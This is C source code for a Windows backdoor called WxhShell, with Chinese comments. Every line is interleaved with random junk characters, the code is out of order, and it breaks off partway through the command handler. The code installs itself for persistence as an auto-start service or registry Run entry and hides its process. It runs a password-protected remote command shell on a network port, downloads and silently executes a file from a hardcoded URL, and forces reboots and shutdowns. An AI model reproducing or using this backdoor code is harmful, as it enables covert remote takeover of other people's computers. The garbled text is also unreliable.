PROCESS_BASIC_INFORMATION pbi; Dw{C_e yPm)r2Ck HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xYM!mcA if(NULL == hInst ) return 0; *Yov>lO >k^=+ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )zt*am; g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 52*zX 3 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8(%iYs$ W.o
W=< if (!NtQueryInformationProcess) return 0; PG)dIec z@VY s hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A1\;6W: if(!hProcess) return 0; K^H=E #(CI/7
- if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \J0gzi. a +*|P CloseHandle(hProcess);
4MRHz{`wa CN:
36 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <s-_ieW' if(hProcess==NULL) return 0; ?
Z8_(e0U av
wU)6L HMODULE hMod; 1kl4X3q6 char procName[255]; g9I2SdaJ unsigned long cbNeeded; vK#xA+W fCZbIt)Eh if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~&k1P:#R 1h]Dc(Oc#= CloseHandle(hProcess); "xS",6Sy wamqeb{u if(strstr(procName,"services")) return 1; // 以服务启动 " I`<s < j/wNPB/NM return 0; // 注册表启动 nb22bXt } n7X3aoVV ?mRU9VY // 主模块 IcPIOCmOc int StartWxhshell(LPSTR lpCmdLine) $9*Xfb/ { L3X>v3CZ5 SOCKET wsl; V}7I?
G BOOL val=TRUE; ngEjbCV+ int port=0; \8Fe56 struct sockaddr_in door; Fg5c;sls ^b;.zhp8;N if(wscfg.ws_autoins) Install(); -YHlVz D4n~2] port=atoi(lpCmdLine); ]Rnr>_>x; Z'WoChjM if(port<=0) port=wscfg.ws_port; ;{BELv-4 2={`g/WeE WSADATA data; u;~/B[ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sEe^:aSN <J {VTk ~ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; T\8|Q@ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,+,""t door.sin_family = AF_INET; 49_b)K.tB door.sin_addr.s_addr = inet_addr("127.0.0.1"); ] 2FS= door.sin_port = htons(port); "]5]"F 4] hRxR2
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K!HSQ,AC closesocket(wsl); E n{vCN return 1; eNu`\ } tQz-tQg N\HOo-X if(listen(wsl,2) == INVALID_SOCKET) { WK/Byd.Z closesocket(wsl); (Pc:A!} return 1; *"O7ml] } ./[%%" Wxhshell(wsl); cRT@Cu WSACleanup(); : B$
d v~ZdMQvwt return 0; '`\\O:@C` t%q@W,2J } }LDDm/$^} DDc?GY: // 以NT服务方式启动 ,t5Ku)eNm VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J03yFT,dF { yXR$MT+ ~ DWORD status = 0; Skp&W*Ai DWORD specificError = 0xfffffff; [=7|LHjU #s)6u?N serviceStatus.dwServiceType = SERVICE_WIN32; kVy%y"/ serviceStatus.dwCurrentState = SERVICE_START_PENDING; @aY 8VL7C0 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; & 2>W=h serviceStatus.dwWin32ExitCode = 0; +<|6y46 serviceStatus.dwServiceSpecificExitCode = 0; I
r<5% serviceStatus.dwCheckPoint = 0; e6QUe.S serviceStatus.dwWaitHint = 0; b)3dZ*cOJ <k6Zx-6X< hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =d.Z:L9d if (hServiceStatusHandle==0) return; { >bw:^F V
;1$FNR
status = GetLastError(); >q[ (UV if (status!=NO_ERROR) 3iR;(l} { \;.\g6zX serviceStatus.dwCurrentState = SERVICE_STOPPED; M{3He)& serviceStatus.dwCheckPoint = 0; *Jmy:C<> serviceStatus.dwWaitHint = 0; P<
O [S serviceStatus.dwWin32ExitCode = status; o.keM4OQ serviceStatus.dwServiceSpecificExitCode = specificError; +/-#yfn!TR SetServiceStatus(hServiceStatusHandle, &serviceStatus); NK$k9, return; ;l7wme8Qk } kDS4 t?Ig sD_Z`1 serviceStatus.dwCurrentState = SERVICE_RUNNING; /F4rbL^: serviceStatus.dwCheckPoint = 0; iaLsIy#h serviceStatus.dwWaitHint = 0; Zh6bUxr if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); go@UE2qw } /al(=zf @'/\O- // 处理NT服务事件,比如:启动、停止 1<\@i{;xsU VOID WINAPI NTServiceHandler(DWORD fdwControl) M0S}-eXc5 { pD eqBO switch(fdwControl) ZXFM_>y5 { 506B= case SERVICE_CONTROL_STOP: (XX6M[M8 serviceStatus.dwWin32ExitCode = 0; T7'njaLec serviceStatus.dwCurrentState = SERVICE_STOPPED; >hJ$~4? serviceStatus.dwCheckPoint = 0; i"r&CS)sT serviceStatus.dwWaitHint = 0; cX>
a>U { |Eu_K` SetServiceStatus(hServiceStatusHandle, &serviceStatus); bT|a]b: } /![S 3Ol return; *rXESw]BR case SERVICE_CONTROL_PAUSE: R/Mwq#xUb serviceStatus.dwCurrentState = SERVICE_PAUSED; ?nn`ud?f break; o6'I%Gs case SERVICE_CONTROL_CONTINUE: h*Rh:yCR> serviceStatus.dwCurrentState = SERVICE_RUNNING; 7*r
Q6rAP break; 3qXOsa7 case SERVICE_CONTROL_INTERROGATE: <_dyUiT$J break; 4askQV &hj }; (/a2#iW SetServiceStatus(hServiceStatusHandle, &serviceStatus); <IC=x(T } S1E=E5 ug.mY= n' // 标准应用程序主函数 1y2D]h /' int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J{
P<^<m_ { \3-XXq !\'7j-6 // 获取操作系统版本 +?w 7Nm` OsIsNt=GetOsVer(); GLp2
?fon GetModuleFileName(NULL,ExeFile,MAX_PATH); #5wOgOv hq6B
pE // 从命令行安装 &na#ES$X, if(strpbrk(lpCmdLine,"iI")) Install(); =;W"Pi;* .0:BgM // 下载执行文件 3{LXx if(wscfg.ws_downexe) { O#7ONQfBO if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Hzcy' WinExec(wscfg.ws_filenam,SW_HIDE); :2pd2 S } XI}
C|]# GbFLu`I u if(!OsIsNt) { : ^F+mQN // 如果时win9x,隐藏进程并且设置为注册表启动 5x(`z
HideProc(); AjKP -[ StartWxhshell(lpCmdLine); J;W(}"cFq } ?l!L
)!2 else ig4wwd@| if(StartFromService()) %0fF_OU // 以服务方式启动 r Lg(J|^ StartServiceCtrlDispatcher(DispatchTable); vIF=kKl9, else Sf);j0G,D // 普通方式启动 :3^b>(W. StartWxhshell(lpCmdLine); 11glFe %<lfe<;^t return 0; (%}T\~`1z# } 0 #pjfc `: kTb.I;S ?&I gD. Q&]
}`Rp= =========================================== H%t/-'U? O$k;p<?M 7!+kyA\}r^ nd3=\.(P g0v},n VUC "
_CY>45 >J_{mU #include <stdio.h> O#
.^} #include <string.h> '%_1eaH #include <windows.h> Q/m))!ikMt #include <winsock2.h> 7}OzTup #include <winsvc.h> Fvf308[ #include <urlmon.h> S~d_SU~>` I+Qv $#S/ #pragma comment (lib, "Ws2_32.lib") w$n\`rQ #pragma comment (lib, "urlmon.lib") sOg@9-_Uh S(9Xbw)T #define MAX_USER 100 // 最大客户端连接数 A%>Ir`I #define BUF_SOCK 200 // sock buffer e4p:Zb: #define KEY_BUFF 255 // 输入 buffer h#'(i<5v
L+LxS|S+M #define REBOOT 0 // 重启 Vc.A<( #define SHUTDOWN 1 // 关机 @=,2{JF*6 )f1<-a"D| #define DEF_PORT 5000 // 监听端口 %^n9Z/I *vc=>AEc #define REG_LEN 16 // 注册表键长度 * t6XU #define SVC_LEN 80 // NT服务名长度 8ar2N)59 .F:qJ6E // 从dll定义API b#bdz1@s typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); iDt^4=` typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vDZhoD=VR typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R$'4 d typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m^rgzx19? Y:[WwX| // wxhshell配置信息 Ja>UcE29 struct WSCFG { cN0|! nm* int ws_port; // 监听端口 1|bu0d\] char ws_passstr[REG_LEN]; // 口令 eZ5UR014 int ws_autoins; // 安装标记, 1=yes 0=no "~Twx]Z char ws_regname[REG_LEN]; // 注册表键名 jY
EB`& char ws_svcname[REG_LEN]; // 服务名 4r;!b;3 char ws_svcdisp[SVC_LEN]; // 服务显示名 }M'h5x char ws_svcdesc[SVC_LEN]; // 服务描述信息 q$z#+2u char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #gq4%; int ws_downexe; // 下载执行标记, 1=yes 0=no RBIf6oxdE char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #u~s,F$De char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g
<^Y^~+E :#0uy1h }; u
+q}9 _+g5;S5 // default Wxhshell configuration "'h?O*V]u{ struct WSCFG wscfg={DEF_PORT, $gT+Ue|7 "xuhuanlingzhe", jXvGL 1, 3p{N7/z( "Wxhshell", )k01K,%#) "Wxhshell", pA%XqG*=Y "WxhShell Service", <9 lZ%j; "Wrsky Windows CmdShell Service", OLUQjvnU "Please Input Your Password: ", Yr5A,-s 1, +]uW|owxo "http://www.wrsky.com/wxhshell.exe", CZRrb 84 "Wxhshell.exe" =Xh^@OR }; kF.!U/C G,M &z>ub0 // 消息定义模块 TWYz\Hmw char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QLH&WF char *msg_ws_prompt="\n\r? for help\n\r#>"; :' ?%%P char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h^^zR)EVb char *msg_ws_ext="\n\rExit."; *6^|i} char *msg_ws_end="\n\rQuit."; 3#huC=zbf char *msg_ws_boot="\n\rReboot..."; >C y char *msg_ws_poff="\n\rShutdown..."; 0l3v>ty char *msg_ws_down="\n\rSave to "; 9;2PoW8 vl*CU"4 char *msg_ws_err="\n\rErr!";
RR!(,j^M char *msg_ws_ok="\n\rOK!"; '$pT:4EuGq J2Y-D'*s char ExeFile[MAX_PATH]; "<ow;ciJF int nUser = 0; In^MZ)? HANDLE handles[MAX_USER]; "}Kvx{L8 int OsIsNt; 2K<rK( i)f3\?,, SERVICE_STATUS serviceStatus; ]'V8{l SERVICE_STATUS_HANDLE hServiceStatusHandle; )tR5JK} AV F>jPr8& // 函数声明 ~t[ #p: int Install(void); 0}Rxe int Uninstall(void); \]GO*]CaV int DownloadFile(char *sURL, SOCKET wsh); B!GpD@U int Boot(int flag); F{)YdqQ void HideProc(void); +qq,;npi int GetOsVer(void); 9 tkj:8_ int Wxhshell(SOCKET wsl); &?>h#H222 void TalkWithClient(void *cs); K];nM}<
int CmdShell(SOCKET sock); O-Hu:KuIf int StartFromService(void); O%5cMz?eU int StartWxhshell(LPSTR lpCmdLine); sv\'XarM |0FRKD] VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t^ LXGQ VOID WINAPI NTServiceHandler( DWORD fdwControl ); c_c]0Tm ;tTM3W-h // 数据结构和表定义 'c5#M,G~ SERVICE_TABLE_ENTRY DispatchTable[] = \eF5* {9 { 4"1OtBU3 {wscfg.ws_svcname, NTServiceMain}, D}'g4Ag {NULL, NULL} mj5$ 2J }; Ol H{!
c+?L?s`" // 自我安装 },'hhj]O int Install(void) 6cz%>@ { =2uE\6Fl, char svExeFile[MAX_PATH]; (q`Jef HKEY key; 5r"BavA strcpy(svExeFile,ExeFile); u\=gps/Z !t "uNlN // 如果是win9x系统,修改注册表设为自启动 11}sRu/ if(!OsIsNt) { %AW5\ EX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K:yS24\% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mE)65@3% RegCloseKey(key); %Q5D#d"p` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uXq?Z@af|f RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {`QF(WL RegCloseKey(key); ^Dh j<_ return 0; o^dt#
& } S+H#^WSt } c\FyX\i } 6G6Hg&B else { nL!h hseH rubqk4 // 如果是NT以上系统,安装为系统服务 }'$6EgX SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); GlP
[: if (schSCManager!=0) S_LY>k? { vb/*ILS SC_HANDLE schService = CreateService G~_5E]8 ( HVz-i{M schSCManager, F48:mfj1r wscfg.ws_svcname, :p@H wscfg.ws_svcdisp, MbLG8T:y SERVICE_ALL_ACCESS, NHA
2 i SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'D%No!+Py SERVICE_AUTO_START, !VpZo*+ SERVICE_ERROR_NORMAL, ^y'xcq svExeFile, q)gZo[]~ NULL, W>
.O"Ri NULL, idnn%iO NULL, i,rP/A^q NULL,
Y<TlvB)w NULL ONJW*!( ); X@Eq5s if (schService!=0) }`6-^lj { l|O^yNS CloseServiceHandle(schService); 8=gr F CloseServiceHandle(schSCManager); :Q2\3 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8~RUYsg strcat(svExeFile,wscfg.ws_svcname); ]W<E#^ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I=D{(%+^d RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T[a1S ?_*T RegCloseKey(key); ?15k~1nA return 0; % \N.m/5 } bL_s[-7 } Uy^Hh4| CloseServiceHandle(schSCManager); AKx\U?ei7 } rMxst } ?"+'OOqik 8F($RnP3 return 1; Lv,~M f1| } JfKhYRl z/ T| // 自我卸载 _tL+39 u int Uninstall(void) acB,u& { *{W5QEa HKEY key; I'"*#QOX ar+mj=m if(!OsIsNt) { G39H@@ *O0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QnZR RegDeleteValue(key,wscfg.ws_regname); ( f8g}2 RegCloseKey(key); deaxb8'7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~B>I?j RegDeleteValue(key,wscfg.ws_regname); %r6LU<;1@ RegCloseKey(key); F<BhN+U return 0; %s$_KG !& } pTUsdao^, } 1mOZ\L!m* } ']$ttfJB else { <9-tA\`8N "V~U{(Z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6_;3 if (schSCManager!=0) xp/u, q { \s&w0V`Y SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y[qW> if (schService!=0) h 7kyz { Wr`=P, if(DeleteService(schService)!=0) { d|on
y CloseServiceHandle(schService); :*tv`:;p CloseServiceHandle(schSCManager); WP32t@ return 0; `@ qSDW!b } )ty
*_@N0 CloseServiceHandle(schService); +<:p`% } gb@Rx CloseServiceHandle(schSCManager); |F<U;xV$p } }n=Tw92g } .)|jBC8|} Y8.0R-:ZAN return 1; j='Ne5X1 }
_+|* fouy?? // 从指定url下载文件 '7>Vmr6 int DownloadFile(char *sURL, SOCKET wsh) QC4_\V>[ { tt|U,o HRESULT hr; AEPgQ9#E char seps[]= "/"; |Y(].G, char *token; 4TG| char *file; dyWWgC%A char myURL[MAX_PATH]; ksDG8^9>] char myFILE[MAX_PATH]; "$0f.FO:i 3I:DL#f strcpy(myURL,sURL); %Tsefs?_ token=strtok(myURL,seps); FD|R4 V*3 while(token!=NULL) G D[~4G { :KX/` file=token; XIBw&mWf token=strtok(NULL,seps); Ea\a: } W7(OrA! U@& <5' GetCurrentDirectory(MAX_PATH,myFILE); SKLQAE5 strcat(myFILE, "\\"); Y141Twjvd strcat(myFILE, file); xO1d^{~^^ send(wsh,myFILE,strlen(myFILE),0); b${Kj3( send(wsh,"...",3,0); 1}[\@n+b hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H _3gVrP_ if(hr==S_OK) !}1n?~]` return 0; 2"<}9A<Xs else Z|8f7@k{|+ return 1; KN}[N+V> A*E4hop[ } ,z%F="@b9 Crpkq/ M // 系统电源模块 ::TUSz2/2 int Boot(int flag) bL0+v@(r { DMf^>{[ HANDLE hToken; d_5h6Cz4 TOKEN_PRIVILEGES tkp; ~d{E>J77j ! \awT if(OsIsNt) { t"0~2R6i OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a$aI% LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c
|C12b[ tkp.PrivilegeCount = 1; KOF! a tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VKik8)/. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
r.K4<ly-N if(flag==REBOOT) { Fof_xv9 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /E]4N=T return 0; ew`R=<mZ,7 } "A/kL@ -C else { ,R^Pk6m> if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) saRB~[6I return 0; H?'VQ=j } Ab_aB+g ] } (Nik(Oyj" else { 40g&zU- if(flag==REBOOT) { 'Y
vW|Iq if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3\(s=-vh return 0; /$9/,5|EA } .}Zmqz[ else { `Z@wWs if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,E>VYkoA return 0; |(P>'fat-p } e#zGLxa } S0yPg9v erqm=) return 1; P$pl } DV%tby zkd#vAY(A // win9x进程隐藏模块 _K;rM7 void HideProc(void) O-y"]Wrv { ?QuFRl,ZJ xxV{1, H2 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +=}%
7o if ( hKernel != NULL ) e.HN%LrhS { <0kRky$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9*2hBNp+ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !Uj !Oy FreeLibrary(hKernel); +Nza@B d } cnIy*!cJs [9LYR3 p return; vuAAaKz } g|+G(~=e| P&F)E#Sa // 获取操作系统版本 N%?o-IY int GetOsVer(void) 6u.b?_u { d3{Zhn@ OSVERSIONINFO winfo; be764do winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Eui;2P~ GetVersionEx(&winfo); u!@P,,NY if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D8dTw {C return 1; C#r`oZS1 else J]~fv9~P return 0; C$(t`G } 6*LU+U=` qq?>ulu*W // 客户端句柄模块 }40/GWp<f int Wxhshell(SOCKET wsl) _c(=> { '<}7bw}+c SOCKET wsh; !^LvNW\| struct sockaddr_in client; L,D!T&B DWORD myID; kfVG@ o?o Tbwq_3fK while(nUser<MAX_USER) n>eIQaV { +}Q4 g]M8 int nSize=sizeof(client); c:$:j,i} wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .xk<7^ZD if(wsh==INVALID_SOCKET) return 1; /f6]XP\'`+ >WD^)W fa handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I{Kc{MXn if(handles[nUser]==0) z)]EB6uRg closesocket(wsh); TY#1Z )% else N%_~cR; nUser++; 34?yQX{ } ~/#?OLj(T WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lGM3?AN BT#>b@Xub return 0; pUwX
cy<n } uo65i 1oi BsRas // 关闭 socket M"FAUqz` void CloseIt(SOCKET wsh) hZ#tB { ,Utw!] closesocket(wsh); SP*5 W)6 nUser--; ,AD| u_pP ExitThread(0); M\<!m^~ } u+R?N%
EKP 2+P3Sii // 客户端请求句柄 HOD2/ void TalkWithClient(void *cs) tFSdi.|G= { d,[KcX wYxizNv, SOCKET wsh=(SOCKET)cs; ef.lM]cO char pwd[SVC_LEN]; )N6R# char cmd[KEY_BUFF]; p/5!a~1'xN char chr[1]; q-o>yjT~ int i,j; lt$797 c,-x}i0c while (nUser < MAX_USER) { 'LOqGpmVc ^GAdl} if(wscfg.ws_passstr) { oy`m:Xp if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *c%@f<R~ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _F*w
,b$8 //ZeroMemory(pwd,KEY_BUFF); 2lSM`cw i=0; FEZ6X while(i<SVC_LEN) { KGWENX_U q%'ovX(dm // 设置超时 395o[YZx* fd_set FdRead; $ i&$ZdX struct timeval TimeOut; 5]Ra?rF FD_ZERO(&FdRead); -#o+x Jj FD_SET(wsh,&FdRead); m ZhVpIUO TimeOut.tv_sec=8; xWwPrd TimeOut.tv_usec=0; v-gT
3kJ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rzmk-V if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [.I,B tY+ WV @Tm$r if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $`Xx5Ts7 pwd=chr[0]; '-S&i{H if(chr[0]==0xd || chr[0]==0xa) { LWL>hd pwd=0; b c4x"]! break; __fR #D } Y) h%<J i++; ]dK]a:S } rO`g~>- .apX72's, // 如果是非法用户,关闭 socket u20b+c4 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _]S6> } +{%4&T<nHw 55cldo send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]6;AK\9TM send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7, 13g) 9HE(*S while(1) { /2cI{]B .fsk DW ZeroMemory(cmd,KEY_BUFF); +7Lco"\w< /C:'qhY, // 自动支持客户端 telnet标准 xI4I1"/ j=0; u/[]g+ while(j<KEY_BUFF) { *D{/p/|[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0xxzhlKNL cmd[j]=chr[0]; A]+h<Y~} if(chr[0]==0xa || chr[0]==0xd) { ],YYFU} cmd[j]=0; u#M)i30j break; NslA/"* } m3(T0.j0P j++; -n
*>zGc } :]^P^khK 9sCk\`n // 下载文件 8$v7|S6 z if(strstr(cmd,"http://")) { W^ :/0WR send(wsh,msg_ws_down,strlen(msg_ws_down),0); z^/ GTY if(DownloadFile(cmd,wsh)) ]Z-oUO
Z<k send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0GYEt else !:<UgbiVv send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6)U&XWH0 } k4$q|x7+% else { KY`96~z xNm32~ switch(cmd[0]) { _0*>I1F~ B-~&6D, // 帮助 M#cr*% case '?': { 6lWFxbh send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e^NEj1 break;
;Zq~w } S8OVG4- // 安装 DjzUH{6O case 'i': { )6Q0f if(Install()) ?GNF=#=M send(wsh,msg_ws_err,strlen(msg_ws_err),0); "x;k'{S else ,GJ>vT) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T4=3VrS break; n]DN xC@b } P"x-7>c>Y
// 卸载 }#G"!/ZA0: case 'r': { _Hu2[lV if(Uninstall()) bjBeiKH send(wsh,msg_ws_err,strlen(msg_ws_err),0); )c*k_/4 else 5g1M_8e'+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K` ,d$ break; (bx\4Ws } e4Ox`gLa*p // 显示 wxhshell 所在路径 ^dnz=FB case 'p': { s!'A\nVV1$ char svExeFile[MAX_PATH]; [u9JL3 strcpy(svExeFile,"\n\r"); r^A#[-VyNP strcat(svExeFile,ExeFile); =b<<5N s send(wsh,svExeFile,strlen(svExeFile),0); N4H+_g| break; Yc82vSG' } WYC1rfd= // 重启 As+;qNO case 'b': { 'K3s4x($ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W/r mm* if(Boot(REBOOT)) {?/8jCVd send(wsh,msg_ws_err,strlen(msg_ws_err),0); `GQiB]Z else { ,![Du::1 closesocket(wsh); ZJ9Jf2 c ExitThread(0); ,B %fjcn } t\pK`DM-[ break; !p,hy` } G|-\T(&J // 关机 6"i{P case 'd': { :Jeo_}e 0 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i.t9jN if(Boot(SHUTDOWN)) P iQkJ[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5eOj,[? else { *1W,Mzg closesocket(wsh); tP`G]BCbt ExitThread(0); QM ZUt } '}Wu3X break; `(,*IK a } {@V3?pG?p // 获取shell }xb_s case 's': { z,bX.*.- CmdShell(wsh); g. ?*F#2 closesocket(wsh); TH>?Gi)" ExitThread(0); o8'Mks break; V5O=iMP } ySQ-!fQnP // 退出 fJWxJSdi case 'x': { rg5]`-!= send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R3j#WgltP CloseIt(wsh); m-ph} break; 0\'Q&oTo } 3e%l8@R@ // 离开 eA?uny
f2r case 'q': { -R&E |